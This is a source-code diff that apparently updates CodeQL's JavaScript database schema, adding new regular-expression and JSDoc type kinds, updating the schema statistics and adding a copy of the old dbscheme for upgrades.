--- a/javascript/ql/lib/semmlecode.javascript.dbscheme
+++ b/javascript/ql/lib/semmlecode.javascript.dbscheme
@@ -859,7 +859,10 @@ case @regexpterm.kind of
 | 24 = @regexp_char_range
 | 25 = @regexp_positive_lookbehind
 | 26 = @regexp_negative_lookbehind
-| 27 = @regexp_unicode_property_escape;
+| 27 = @regexp_unicode_property_escape
+| 28 = @regexp_quoted_string
+| 29 = @regexp_intersection
+| 30 = @regexp_subtraction;
 
 regexp_parse_errors (unique int id: @regexp_parse_error,
     int regexp: @regexpterm ref,
@@ -998,7 +1001,7 @@ case @jsdoc_type_expr.kind of
 |   2 = @jsdoc_undefined_type_expr
 |   3 = @jsdoc_unknown_type_expr
 |   4 = @jsdoc_void_type_expr
-|   5 = @jsdoc_named_type_expr
+|   5 = @jsdoc_identifier_type_expr
 |   6 = @jsdoc_applied_type_expr
 |   7 = @jsdoc_nullable_type_expr
 |   8 = @jsdoc_non_nullable_type_expr
@@ -1008,6 +1011,7 @@ case @jsdoc_type_expr.kind of
 |  12 = @jsdoc_function_type_expr
 |  13 = @jsdoc_optional_type_expr
 |  14 = @jsdoc_rest_type_expr
+|  15 = @jsdoc_qualified_type_expr
 ;
 
 #keyset[id, idx]
diff --git a/javascript/ql/lib/semmlecode.javascript.dbscheme.stats b/javascript/ql/lib/semmlecode.javascript.dbscheme.stats
index 97ba6f9bcc36..51889bd9286f 100644
--- a/javascript/ql/lib/semmlecode.javascript.dbscheme.stats
+++ b/javascript/ql/lib/semmlecode.javascript.dbscheme.stats
@@ -1194,6 +1194,18 @@
 <v>12</v>
 </e>
 <e>
+<k>@regexp_quoted_string</k>
+<v>12</v>
+</e>
+<e>
+<k>@regexp_intersection</k>
+<v>12</v>
+</e>
+<e>
+<k>@regexp_subtraction</k>
+<v>12</v>
+</e>
+<e>
 <k>@regexp_parse_error</k>
 <v>122</v>
 </e>
@@ -1322,10 +1334,14 @@
 <v>8</v>
 </e>
 <e>
-<k>@jsdoc_named_type_expr</k>
+<k>@jsdoc_identifier_type_expr</k>
 <v>18639</v>
 </e>
 <e>
+<k>@jsdoc_qualified_type_expr</k>
+<v>1000</v>
+</e>
+<e>
 <k>@jsdoc_applied_type_expr</k>
 <v>303</v>
 </e>
diff --git a/javascript/ql/lib/upgrades/5b5db607d20c7b449cef2d1c926b24d77c69bebb/old.dbscheme b/javascript/ql/lib/upgrades/5b5db607d20c7b449cef2d1c926b24d77c69bebb/old.dbscheme
new file mode 100644
index 000000000000..5b5db607d20c
--- /dev/null
+++ b/javascript/ql/lib/upgrades/5b5db607d20c7b449cef2d1c926b24d77c69bebb/old.dbscheme
@@ -0,0 +1,1193 @@
+/*** Standard fragments ***/
+
+/*- Files and folders -*/
+
+/**
+ * The location of an element.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_default(
+  unique int id: @location_default,
+  int file: @file ref,
+  int beginLine: int ref,
+  int beginColumn: int ref,
+  int endLine: int ref,
+  int endColumn: int ref
+);
+
+files(
+  unique int id: @file,
+  string name: string ref
+);
+
+folders(
+  unique int id: @folder,
+  string name: string ref
+);
+
+@container = @file | @folder
+
+containerparent(
+  int parent: @container ref,
+  unique int child: @container ref
+);
+
+/*- Lines of code -*/
+
+numlines(
+  int element_id: @sourceline ref,
+  int num_lines: int ref,
+  int num_code: int ref,
+  int num_comment: int ref
+);
+
+/*- External data -*/
+
+/**
+ * External data, loaded from CSV files during snapshot creation. See
+ * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data)
+ * for more information.
+ */
+externalData(
+  int id : @externalDataElement,
+  string path : string ref,
+  int column: int ref,
+  string value : string ref
+);
+
+/*- Source location prefix -*/
+
+/**
+ * The source location of the snapshot.
+ */
+sourceLocationPrefix(string prefix : string ref);
+
+/*- JavaScript-specific part -*/
+
+@location = @location_default
+
+@sourceline = @locatable;
+
+filetype(
+  int file: @file ref,
+  string filetype: string ref
+)
+
+// top-level code fragments
+toplevels (unique int id: @toplevel,
+           int kind: int ref);
+
+is_externs (int toplevel: @toplevel ref);
+
+case @toplevel.kind of
+   0 = @script
+|  1 = @inline_script
+|  2 = @event_handler
+|  3 = @javascript_url
+|  4 = @template_toplevel;
+
+is_module (int tl: @toplevel ref);
+is_nodejs (int tl: @toplevel ref);
+is_es2015_module (int tl: @toplevel ref);
+is_closure_module (int tl: @toplevel ref);
+
+@xml_node_with_code = @xmlelement | @xmlattribute | @template_placeholder_tag;
+toplevel_parent_xml_node(
+  unique int toplevel: @toplevel ref,
+  int xmlnode: @xml_node_with_code ref);
+
+xml_element_parent_expression(
+  unique int xmlnode: @xmlelement ref,
+  int expression: @expr ref,
+  int index: int ref);
+
+// statements
+#keyset[parent, idx]
+stmts (unique int id: @stmt,
+       int kind: int ref,
+       int parent: @stmt_parent ref,
+       int idx: int ref,
+       varchar(900) tostring: string ref);
+
+stmt_containers (unique int stmt: @stmt ref,
+       int container: @stmt_container ref);
+
+jump_targets (unique int jump: @stmt ref,
+       int target: @stmt ref);
+
+@stmt_parent = @stmt | @toplevel | @function_expr | @arrow_function_expr | @static_initializer;
+@stmt_container = @toplevel | @function | @namespace_declaration | @external_module_declaration | @global_augmentation_declaration;
+
+case @stmt.kind of
+   0 = @empty_stmt
+|  1 = @block_stmt
+|  2 = @expr_stmt
+|  3 = @if_stmt
+|  4 = @labeled_stmt
+|  5 = @break_stmt
+|  6 = @continue_stmt
+|  7 = @with_stmt
+|  8 = @switch_stmt
+|  9 = @return_stmt
+| 10 = @throw_stmt
+| 11 = @try_stmt
+| 12 = @while_stmt
+| 13 = @do_while_stmt
+| 14 = @for_stmt
+| 15 = @for_in_stmt
+| 16 = @debugger_stmt
+| 17 = @function_decl_stmt
+| 18 = @var_decl_stmt
+| 19 = @case
+| 20 = @catch_clause
+| 21 = @for_of_stmt
+| 22 = @const_decl_stmt
+| 23 = @let_stmt
+| 24 = @legacy_let_stmt
+| 25 = @for_each_stmt
+| 26 = @class_decl_stmt
+| 27 = @import_declaration
+| 28 = @export_all_declaration
+| 29 = @export_default_declaration
+| 30 = @export_named_declaration
+| 31 = @namespace_declaration
+| 32 = @import_equals_declaration
+| 33 = @export_assign_declaration
+| 34 = @interface_declaration
+| 35 = @type_alias_declaration
+| 36 = @enum_declaration
+| 37 = @external_module_declaration
+| 38 = @export_as_namespace_declaration
+| 39 = @global_augmentation_declaration
+| 40 = @using_decl_stmt
+;
+
+@decl_stmt = @var_decl_stmt | @const_decl_stmt | @let_stmt | @legacy_let_stmt | @using_decl_stmt;
+
+@export_declaration = @export_all_declaration | @export_default_declaration | @export_named_declaration;
+
+@namespace_definition = @namespace_declaration | @enum_declaration;
+@type_definition = @class_definition | @interface_declaration | @enum_declaration | @type_alias_declaration | @enum_member;
+
+is_instantiated(unique int decl: @namespace_declaration ref);
+
+@declarable_node = @decl_stmt | @namespace_declaration | @class_decl_stmt | @function_decl_stmt | @enum_declaration | @external_module_declaration | @global_augmentation_declaration | @field;
+has_declare_keyword(unique int stmt: @declarable_node ref);
+
+is_for_await_of(unique int forof: @for_of_stmt ref);
+
+// expressions
+#keyset[parent, idx]
+exprs (unique int id: @expr,
+       int kind: int ref,
+       int parent: @expr_parent ref,
+       int idx: int ref,
+       varchar(900) tostring: string ref);
+
+literals (varchar(900) value: string ref,
+       varchar(900) raw: string ref,
+       unique int expr: @expr_or_type ref);
+
+enclosing_stmt (unique int expr: @expr_or_type ref,
+       int stmt: @stmt ref);
+
+expr_containers (unique int expr: @expr_or_type ref,
+       int container: @stmt_container ref);
+
+array_size (unique int ae: @arraylike ref,
+       int sz: int ref);
+
+is_delegating (int yield: @yield_expr ref);
+
+@expr_or_stmt = @expr | @stmt;
+@expr_or_type = @expr | @typeexpr;
+@expr_parent = @expr_or_stmt | @property | @function_typeexpr;
+@arraylike = @array_expr | @array_pattern;
+@type_annotation = @typeexpr | @jsdoc_type_expr;
+@node_in_stmt_container = @cfg_node | @type_annotation | @toplevel;
+
+case @expr.kind of
+   0 = @label
+|  1 = @null_literal
+|  2 = @boolean_literal
+|  3 = @number_literal
+|  4 = @string_literal
+|  5 = @regexp_literal
+|  6 = @this_expr
+|  7 = @array_expr
+|  8 = @obj_expr
+|  9 = @function_expr
+| 10 = @seq_expr
+| 11 = @conditional_expr
+| 12 = @new_expr
+| 13 = @call_expr
+| 14 = @dot_expr
+| 15 = @index_expr
+| 16 = @neg_expr
+| 17 = @plus_expr
+| 18 = @log_not_expr
+| 19 = @bit_not_expr
+| 20 = @typeof_expr
+| 21 = @void_expr
+| 22 = @delete_expr
+| 23 = @eq_expr
+| 24 = @neq_expr
+| 25 = @eqq_expr
+| 26 = @neqq_expr
+| 27 = @lt_expr
+| 28 = @le_expr
+| 29 = @gt_expr
+| 30 = @ge_expr
+| 31 = @lshift_expr
+| 32 = @rshift_expr
+| 33 = @urshift_expr
+| 34 = @add_expr
+| 35 = @sub_expr
+| 36 = @mul_expr
+| 37 = @div_expr
+| 38 = @mod_expr
+| 39 = @bitor_expr
+| 40 = @xor_expr
+| 41 = @bitand_expr
+| 42 = @in_expr
+| 43 = @instanceof_expr
+| 44 = @logand_expr
+| 45 = @logor_expr
+| 47 = @assign_expr
+| 48 = @assign_add_expr
+| 49 = @assign_sub_expr
+| 50 = @assign_mul_expr
+| 51 = @assign_div_expr
+| 52 = @assign_mod_expr
+| 53 = @assign_lshift_expr
+| 54 = @assign_rshift_expr
+| 55 = @assign_urshift_expr
+| 56 = @assign_or_expr
+| 57 = @assign_xor_expr
+| 58 = @assign_and_expr
+| 59 = @preinc_expr
+| 60 = @postinc_expr
+| 61 = @predec_expr
+| 62 = @postdec_expr
+| 63 = @par_expr
+| 64 = @var_declarator
+| 65 = @arrow_function_expr
+| 66 = @spread_element
+| 67 = @array_pattern
+| 68 = @object_pattern
+| 69 = @yield_expr
+| 70 = @tagged_template_expr
+| 71 = @template_literal
+| 72 = @template_element
+| 73 = @array_comprehension_expr
+| 74 = @generator_expr
+| 75 = @for_in_comprehension_block
+| 76 = @for_of_comprehension_block
+| 77 = @legacy_letexpr
+| 78 = @var_decl
+| 79 = @proper_varaccess
+| 80 = @class_expr
+| 81 = @super_expr
+| 82 = @newtarget_expr
+| 83 = @named_import_specifier
+| 84 = @import_default_specifier
+| 85 = @import_namespace_specifier
+| 86 = @named_export_specifier
+| 87 = @exp_expr
+| 88 = @assign_exp_expr
+| 89 = @jsx_element
+| 90 = @jsx_qualified_name
+| 91 = @jsx_empty_expr
+| 92 = @await_expr
+| 93 = @function_sent_expr
+| 94 = @decorator
+| 95 = @export_default_specifier
+| 96 = @export_namespace_specifier
+| 97 = @bind_expr
+| 98 = @external_module_reference
+| 99 = @dynamic_import
+| 100 = @expression_with_type_arguments
+| 101 = @prefix_type_assertion
+| 102 = @as_type_assertion
+| 103 = @export_varaccess
+| 104 = @decorator_list
+| 105 = @non_null_assertion
+| 106 = @bigint_literal
+| 107 = @nullishcoalescing_expr
+| 108 = @e4x_xml_anyname
+| 109 = @e4x_xml_static_attribute_selector
+| 110 = @e4x_xml_dynamic_attribute_selector
+| 111 = @e4x_xml_filter_expression
+| 112 = @e4x_xml_static_qualident
+| 113 = @e4x_xml_dynamic_qualident
+| 114 = @e4x_xml_dotdotexpr
+| 115 = @import_meta_expr
+| 116 = @assignlogandexpr
+| 117 = @assignlogorexpr
+| 118 = @assignnullishcoalescingexpr
+| 119 = @template_pipe_ref
+| 120 = @generated_code_expr
+| 121 = @satisfies_expr
+;
+
+@varaccess = @proper_varaccess | @export_varaccess;
+@varref = @var_decl | @varaccess;
+
+@identifier = @label | @varref | @type_identifier;
+
+@literal = @null_literal | @boolean_literal | @number_literal | @string_literal | @regexp_literal | @bigint_literal;
+
+@propaccess = @dot_expr | @index_expr;
+
+@invokeexpr = @new_expr | @call_expr;
+
+@unaryexpr = @neg_expr | @plus_expr | @log_not_expr | @bit_not_expr | @typeof_expr | @void_expr | @delete_expr | @spread_element;
+
+@equality_test = @eq_expr | @neq_expr | @eqq_expr | @neqq_expr;
+
+@comparison = @equality_test | @lt_expr | @le_expr | @gt_expr | @ge_expr;
+
+@binaryexpr = @comparison | @lshift_expr | @rshift_expr | @urshift_expr | @add_expr | @sub_expr | @mul_expr | @div_expr | @mod_expr | @exp_expr | @bitor_expr | @xor_expr | @bitand_expr | @in_expr | @instanceof_expr | @logand_expr | @logor_expr | @nullishcoalescing_expr;
+
+@assignment = @assign_expr | @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr | @assign_mod_expr | @assign_exp_expr | @assign_lshift_expr | @assign_rshift_expr | @assign_urshift_expr | @assign_or_expr | @assign_xor_expr | @assign_and_expr | @assignlogandexpr | @assignlogorexpr | @assignnullishcoalescingexpr;
+
+@updateexpr = @preinc_expr | @postinc_expr | @predec_expr | @postdec_expr;
+
+@pattern = @varref | @array_pattern | @object_pattern;
+
+@comprehension_expr = @array_comprehension_expr | @generator_expr;
+
+@comprehension_block = @for_in_comprehension_block | @for_of_comprehension_block;
+
+@import_specifier = @named_import_specifier | @import_default_specifier | @import_namespace_specifier;
+
+@exportspecifier = @named_export_specifier | @export_default_specifier | @export_namespace_specifier;
+
+@type_keyword_operand = @import_declaration | @export_declaration | @import_specifier;
+
+@type_assertion = @as_type_assertion | @prefix_type_assertion;
+
+@class_definition = @class_decl_stmt | @class_expr;
+@interface_definition = @interface_declaration | @interface_typeexpr;
+@class_or_interface = @class_definition | @interface_definition;
+
+@lexical_decl = @var_decl | @type_decl;
+@lexical_access = @varaccess | @local_type_access | @local_var_type_access | @local_namespace_access;
+@lexical_ref = @lexical_decl | @lexical_access;
+
+@e4x_xml_attribute_selector = @e4x_xml_static_attribute_selector | @e4x_xml_dynamic_attribute_selector;
+@e4x_xml_qualident = @e4x_xml_static_qualident | @e4x_xml_dynamic_qualident;
+
+expr_contains_template_tag_location(
+  int expr: @expr ref,
+  int location: @location ref
+);
+
+@template_placeholder_tag_parent = @xmlelement | @xmlattribute | @file;
+
+template_placeholder_tag_info(
+  unique int node: @template_placeholder_tag,
+  int parentNode: @template_placeholder_tag_parent ref,
+  varchar(900) raw: string ref
+);
+
+// scopes
+scopes (unique int id: @scope,
+        int kind: int ref);
+
+case @scope.kind of
+   0 = @global_scope
+|  1 = @function_scope
+|  2 = @catch_scope
+|  3 = @module_scope
+|  4 = @block_scope
+|  5 = @for_scope
+|  6 = @for_in_scope // for-of scopes work the same as for-in scopes
+|  7 = @comprehension_block_scope
+|  8 = @class_expr_scope
+|  9 = @namespace_scope
+| 10 = @class_decl_scope
+| 11 = @interface_scope
+| 12 = @type_alias_scope
+| 13 = @mapped_type_scope
+| 14 = @enum_scope
+| 15 = @external_module_scope
+| 16 = @conditional_type_scope;
+
+scopenodes (unique int node: @ast_node ref,
+            int scope: @scope ref);
+
+scopenesting (unique int inner: @scope ref,
+              int outer: @scope ref);
+
+// functions
+@function = @function_decl_stmt | @function_expr | @arrow_function_expr;
+
+@parameterized = @function | @catch_clause;
+@type_parameterized = @function | @class_or_interface | @type_alias_declaration | @mapped_typeexpr | @infer_typeexpr;
+
+is_generator (int fun: @function ref);
+has_rest_parameter (int fun: @function ref);
+is_async (int fun: @function ref);
+
+// variables and lexically scoped type names
+#keyset[scope, name]
+variables (unique int id: @variable,
+           varchar(900) name: string ref,
+           int scope: @scope ref);
+
+#keyset[scope, name]
+local_type_names (unique int id: @local_type_name,
+                  varchar(900) name: string ref,
+                  int scope: @scope ref);
+
+#keyset[scope, name]
+local_namespace_names (unique int id: @local_namespace_name,
+                       varchar(900) name: string ref,
+                       int scope: @scope ref);
+
+is_arguments_object (int id: @variable ref);
+
+@lexical_name = @variable | @local_type_name | @local_namespace_name;
+
+@bind_id = @varaccess | @local_var_type_access;
+bind (unique int id: @bind_id ref,
+      int decl: @variable ref);
+
+decl (unique int id: @var_decl ref,
+      int decl: @variable ref);
+
+@typebind_id = @local_type_access | @export_varaccess;
+typebind (unique int id: @typebind_id ref,
+          int decl: @local_type_name ref);
+
+@typedecl_id = @type_decl | @var_decl;
+typedecl (unique int id: @typedecl_id ref,
+          int decl: @local_type_name ref);
+
+namespacedecl (unique int id: @var_decl ref,
+               int decl: @local_namespace_name ref);
+
+@namespacebind_id = @local_namespace_access | @export_varaccess;
+namespacebind (unique int id: @namespacebind_id ref,
+               int decl: @local_namespace_name ref);
+
+
+// properties in object literals, property patterns in object patterns, and method declarations in classes
+#keyset[parent, index]
+properties (unique int id: @property,
+            int parent: @property_parent ref,
+            int index: int ref,
+            int kind: int ref,
+            varchar(900) tostring: string ref);
+
+case @property.kind of
+  0 = @value_property
+| 1 = @property_getter
+| 2 = @property_setter
+| 3 = @jsx_attribute
+| 4 = @function_call_signature
+| 5 = @constructor_call_signature
+| 6 = @index_signature
+| 7 = @enum_member
+| 8 = @proper_field
+| 9 = @parameter_field
+| 10 = @static_initializer
+;
+
+@property_parent = @obj_expr | @object_pattern | @class_definition | @jsx_element | @interface_definition | @enum_declaration;
+@property_accessor = @property_getter | @property_setter;
+@call_signature = @function_call_signature | @constructor_call_signature;
+@field = @proper_field | @parameter_field;
+@field_or_vardeclarator = @field | @var_declarator;
+
+is_computed (int id: @property ref);
+is_method   (int id: @property ref);
+is_static   (int id: @property ref);
+is_abstract_member (int id: @property ref);
+is_const_enum (int id: @enum_declaration ref);
+is_abstract_class (int id: @class_decl_stmt ref);
+
+has_public_keyword (int id: @property ref);
+has_private_keyword (int id: @property ref);
+has_protected_keyword (int id: @property ref);
+has_readonly_keyword (int id: @property ref);
+has_type_keyword (int id: @type_keyword_operand ref);
+is_optional_member (int id: @property ref);
+has_definite_assignment_assertion (int id: @field_or_vardeclarator ref);
+is_optional_parameter_declaration (unique int parameter: @pattern ref);
+
+#keyset[constructor, param_index]
+parameter_fields(
+  unique int field: @parameter_field ref,
+  int constructor: @function_expr ref,
+  int param_index: int ref
+);
+
+// types
+#keyset[parent, idx]
+typeexprs (
+  unique int id: @typeexpr,
+  int kind: int ref,
+  int parent: @typeexpr_parent ref,
+  int idx: int ref,
+  varchar(900) tostring: string ref
+);
+
+case @typeexpr.kind of
+  0 = @local_type_access
+| 1 = @type_decl
+| 2 = @keyword_typeexpr
+| 3 = @string_literal_typeexpr
+| 4 = @number_literal_typeexpr
+| 5 = @boolean_literal_typeexpr
+| 6 = @array_typeexpr
+| 7 = @union_typeexpr
+| 8 = @indexed_access_typeexpr
+| 9 = @intersection_typeexpr
+| 10 = @parenthesized_typeexpr
+| 11 = @tuple_typeexpr
+| 12 = @keyof_typeexpr
+| 13 = @qualified_type_access
+| 14 = @generic_typeexpr
+| 15 = @type_label
+| 16 = @typeof_typeexpr
+| 17 = @local_var_type_access
+| 18 = @qualified_var_type_access
+| 19 = @this_var_type_access
+| 20 = @predicate_typeexpr
+| 21 = @interface_typeexpr
+| 22 = @type_parameter
+| 23 = @plain_function_typeexpr
+| 24 = @constructor_typeexpr
+| 25 = @local_namespace_access
+| 26 = @qualified_namespace_access
+| 27 = @mapped_typeexpr
+| 28 = @conditional_typeexpr
+| 29 = @infer_typeexpr
+| 30 = @import_type_access
+| 31 = @import_namespace_access
+| 32 = @import_var_type_access
+| 33 = @optional_typeexpr
+| 34 = @rest_typeexpr
+| 35 = @bigint_literal_typeexpr
+| 36 = @readonly_typeexpr
+| 37 = @template_literal_typeexpr
+;
+
+@typeref = @typeaccess | @type_decl;
+@type_identifier = @type_decl | @local_type_access | @type_label | @local_var_type_access | @local_namespace_access;
+@typeexpr_parent = @expr | @stmt | @property | @typeexpr;
+@literal_typeexpr = @string_literal_typeexpr | @number_literal_typeexpr | @boolean_literal_typeexpr | @bigint_literal_typeexpr;
+@typeaccess = @local_type_access | @qualified_type_access | @import_type_access;
+@vartypeaccess = @local_var_type_access | @qualified_var_type_access | @this_var_type_access | @import_var_type_access;
+@namespace_access = @local_namespace_access | @qualified_namespace_access | @import_namespace_access;
+@import_typeexpr = @import_type_access | @import_namespace_access | @import_var_type_access;
+
+@function_typeexpr = @plain_function_typeexpr | @constructor_typeexpr;
+
+// types
+types (
+  unique int id: @type,
+  int kind: int ref,
+  varchar(900) tostring: string ref
+);
+
+#keyset[parent, idx]
+type_child (
+  int child: @type ref,
+  int parent: @type ref,
+  int idx: int ref
+);
+
+case @type.kind of
+  0 = @any_type
+| 1 = @string_type
+| 2 = @number_type
+| 3 = @union_type
+| 4 = @true_type
+| 5 = @false_type
+| 6 = @type_reference
+| 7 = @object_type
+| 8 = @canonical_type_variable_type
+| 9 = @typeof_type
+| 10 = @void_type
+| 11 = @undefined_type
+| 12 = @null_type
+| 13 = @never_type
+| 14 = @plain_symbol_type
+| 15 = @unique_symbol_type
+| 16 = @objectkeyword_type
+| 17 = @intersection_type
+| 18 = @tuple_type
+| 19 = @lexical_type_variable_type
+| 20 = @this_type
+| 21 = @number_literal_type
+| 22 = @string_literal_type
+| 23 = @unknown_type
+| 24 = @bigint_type
+| 25 = @bigint_literal_type
+;
+
+@boolean_literal_type = @true_type | @false_type;
+@symbol_type = @plain_symbol_type | @unique_symbol_type;
+@union_or_intersection_type = @union_type | @intersection_type;
+@typevariable_type = @canonical_type_variable_type | @lexical_type_variable_type;
+
+has_asserts_keyword(int node: @predicate_typeexpr ref);
+
+@typed_ast_node = @expr | @typeexpr | @function;
+ast_node_type(
+  unique int node: @typed_ast_node ref,
+  int typ: @type ref);
+
+declared_function_signature(
+  unique int node: @function ref,
+  int sig: @signature_type ref
+);
+
+invoke_expr_signature(
+  unique int node: @invokeexpr ref,
+  int sig: @signature_type ref
+);
+
+invoke_expr_overload_index(
+  unique int node: @invokeexpr ref,
+  int index: int ref
+);
+
+symbols (
+  unique int id: @symbol,
+  int kind: int ref,
+  varchar(900) name: string ref
+);
+
+symbol_parent (
+  unique int symbol: @symbol ref,
+  int parent: @symbol ref
+);
+
+symbol_module (
+  int symbol: @symbol ref,
+  varchar(900) moduleName: string ref
+);
+
+symbol_global (
+  int symbol: @symbol ref,
+  varchar(900) globalName: string ref
+);
+
+case @symbol.kind of
+  0 = @root_symbol
+| 1 = @member_symbol
+| 2 = @other_symbol
+;
+
+@type_with_symbol = @type_reference | @typevariable_type | @typeof_type | @unique_symbol_type;
+@ast_node_with_symbol = @type_definition | @namespace_definition | @toplevel | @typeaccess | @namespace_access | @var_decl | @function | @invokeexpr | @import_declaration | @external_module_reference | @external_module_declaration;
+
+ast_node_symbol(
+  unique int node: @ast_node_with_symbol ref,
+  int symbol: @symbol ref);
+
+type_symbol(
+  unique int typ: @type_with_symbol ref,
+  int symbol: @symbol ref);
+
+#keyset[typ, name]
+type_property(
+  int typ: @type ref,
+  varchar(900) name: string ref,
+  int propertyType: @type ref);
+
+type_alias(
+  unique int aliasType: @type ref,
+  int underlyingType: @type ref);
+
+@literal_type = @string_literal_type | @number_literal_type | @boolean_literal_type | @bigint_literal_type;
+@type_with_literal_value = @string_literal_type | @number_literal_type | @bigint_literal_type;
+type_literal_value(
+  unique int typ: @type_with_literal_value ref,
+  varchar(900) value: string ref);
+
+signature_types (
+  unique int id: @signature_type,
+  int kind: int ref,
+  varchar(900) tostring: string ref,
+  int type_parameters: int ref,
+  int required_params: int ref
+);
+
+is_abstract_signature(
+  unique int sig: @signature_type ref
+);
+
+signature_rest_parameter(
+  unique int sig: @signature_type ref,
+  int rest_param_arra_type: @type ref
+);
+
+case @signature_type.kind of
+  0 = @function_signature_type
+| 1 = @constructor_signature_type
+;
+
+#keyset[typ, kind, index]
+type_contains_signature (
+  int typ: @type ref,
+  int kind: int ref,  // constructor/call/index
+  int index: int ref, // ordering of overloaded signatures
+  int sig: @signature_type ref
+);
+
+#keyset[parent, index]
+signature_contains_type (
+  int child: @type ref,
+  int parent: @signature_type ref,
+  int index: int ref
+);
+
+#keyset[sig, index]
+signature_parameter_name (
+  int sig: @signature_type ref,
+  int index: int ref,
+  varchar(900) name: string ref
+);
+
+number_index_type (
+  unique int baseType: @type ref,
+  int propertyType: @type ref
+);
+
+string_index_type (
+  unique int baseType: @type ref,
+  int propertyType: @type ref
+);
+
+base_type_names(
+  int typeName: @symbol ref,
+  int baseTypeName: @symbol ref
+);
+
+self_types(
+  int typeName: @symbol ref,
+  int selfType: @type_reference ref
+);
+
+tuple_type_min_length(
+  unique int typ: @type ref,
+  int minLength: int ref
+);
+
+tuple_type_rest_index(
+  unique int typ: @type ref,
+  int index: int ref
+);
+
+// comments
+comments (unique int id: @comment,
+          int kind: int ref,
+          int toplevel: @toplevel ref,
+          varchar(900) text: string ref,
+          varchar(900) tostring: string ref);
+
+case @comment.kind of
+  0 = @slashslash_comment
+| 1 = @slashstar_comment
+| 2 = @doc_comment
+| 3 = @html_comment_start
+| 4 = @htmlcommentend;
+
+@html_comment = @html_comment_start | @htmlcommentend;
+@line_comment = @slashslash_comment | @html_comment;
+@block_comment = @slashstar_comment | @doc_comment;
+
+// source lines
+lines (unique int id: @line,
+       int toplevel: @toplevel ref,
+       varchar(900) text: string ref,
+       varchar(2) terminator: string ref);
+indentation (int file: @file ref,
+            int lineno: int ref,
+            varchar(1) indentChar: string ref,
+            int indentDepth: int ref);
+
+// JavaScript parse errors
+js_parse_errors (unique int id: @js_parse_error,
+        int toplevel: @toplevel ref,
+        varchar(900) message: string ref,
+        varchar(900) line: string ref);
+
+// regular expressions
+#keyset[parent, idx]
+regexpterm (unique int id: @regexpterm,
+        int kind: int ref,
+        int parent: @regexpparent ref,
+        int idx: int ref,
+        varchar(900) tostring: string ref);
+
+@regexpparent = @regexpterm | @regexp_literal | @string_literal | @add_expr;
+
+case @regexpterm.kind of
+   0 = @regexp_alt
+|  1 = @regexp_seq
+|  2 = @regexp_caret
+|  3 = @regexp_dollar
+|  4 = @regexp_wordboundary
+|  5 = @regexp_nonwordboundary
+|  6 = @regexp_positive_lookahead
+|  7 = @regexp_negative_lookahead
+|  8 = @regexp_star
+|  9 = @regexp_plus
+| 10 = @regexp_opt
+| 11 = @regexp_range
+| 12 = @regexp_dot
+| 13 = @regexp_group
+| 14 = @regexp_normal_constant
+| 15 = @regexp_hex_escape
+| 16 = @regexp_unicode_escape
+| 17 = @regexp_dec_escape
+| 18 = @regexp_oct_escape
+| 19 = @regexp_ctrl_escape
+| 20 = @regexp_char_class_escape
+| 21 = @regexp_id_escape
+| 22 = @regexp_backref
+| 23 = @regexp_char_class
+| 24 = @regexp_char_range
+| 25 = @regexp_positive_lookbehind
+| 26 = @regexp_negative_lookbehind
+| 27 = @regexp_unicode_property_escape
+| 28 = @regexp_quoted_string
+| 29 = @regexp_intersection
+| 30 = @regexp_subtraction;
+
+regexp_parse_errors (unique int id: @regexp_parse_error,
+    int regexp: @regexpterm ref,
+    varchar(900) message: string ref);
+
+@regexp_quantifier = @regexp_star | @regexp_plus | @regexp_opt | @regexp_range;
+@regexp_escape = @regexp_char_escape | @regexp_char_class_escape | @regexp_unicode_property_escape;
+@regexp_char_escape = @regexp_hex_escape | @regexp_unicode_escape | @regexp_dec_escape | @regexp_oct_escape | @regexp_ctrl_escape | @regexp_id_escape;
+@regexp_constant = @regexp_normal_constant | @regexp_char_escape;
+@regexp_lookahead = @regexp_positive_lookahead | @regexp_negative_lookahead;
+@regexp_lookbehind = @regexp_positive_lookbehind | @regexp_negative_lookbehind;
+@regexp_subpattern = @regexp_lookahead | @regexp_lookbehind;
+@regexp_anchor = @regexp_dollar | @regexp_caret;
+
+is_greedy (int id: @regexp_quantifier ref);
+range_quantifier_lower_bound (unique int id: @regexp_range ref, int lo: int ref);
+range_quantifier_upper_bound (unique int id: @regexp_range ref, int hi: int ref);
+is_capture (unique int id: @regexp_group ref, int number: int ref);
+is_named_capture (unique int id: @regexp_group ref, string name: string ref);
+is_inverted (int id: @regexp_char_class ref);
+regexp_const_value (unique int id: @regexp_constant ref, varchar(1) value: string ref);
+char_class_escape (unique int id: @regexp_char_class_escape ref, varchar(1) value: string ref);
+backref (unique int id: @regexp_backref ref, int value: int ref);
+named_backref (unique int id: @regexp_backref ref, string name: string ref);
+unicode_property_escapename (unique int id: @regexp_unicode_property_escape ref, string name: string ref);
+unicode_property_escapevalue (unique int id: @regexp_unicode_property_escape ref, string value: string ref);
+
+// tokens
+#keyset[toplevel, idx]
+tokeninfo (unique int id: @token,
+    int kind: int ref,
+    int toplevel: @toplevel ref,
+    int idx: int ref,
+    varchar(900) value: string ref);
+
+case @token.kind of
+  0 = @token_eof
+| 1 = @token_null_literal
+| 2 = @token_boolean_literal
+| 3 = @token_numeric_literal
+| 4 = @token_string_literal
+| 5 = @token_regular_expression
+| 6 = @token_identifier
+| 7 = @token_keyword
+| 8 = @token_punctuator;
+
+// associate comments with the token immediately following them (which may be EOF)
+next_token (int comment: @comment ref, int token: @token ref);
+
+// JSON
+#keyset[parent, idx]
+json (unique int id: @json_value,
+      int kind: int ref,
+      int parent: @json_parent ref,
+      int idx: int ref,
+      varchar(900) tostring: string ref);
+
+json_literals (varchar(900) value: string ref,
+      varchar(900) raw: string ref,
+      unique int expr: @json_value ref);
+
+json_properties (int obj: @json_object ref,
+      varchar(900) property: string ref,
+      int value: @json_value ref);
+
+json_errors (unique int id: @json_parse_error,
+      varchar(900) message: string ref);
+
+json_locations(unique int locatable: @json_locatable ref,
+      int location: @location_default ref);
+
+case @json_value.kind of
+  0 = @json_null
+| 1 = @json_boolean
+| 2 = @json_number
+| 3 = @json_string
+| 4 = @json_array
+| 5 = @json_object;
+
+@json_parent = @json_object | @json_array | @file;
+
+@json_locatable = @json_value | @json_parse_error;
+
+// locations
+@ast_node = @toplevel | @stmt | @expr | @property | @typeexpr;
+
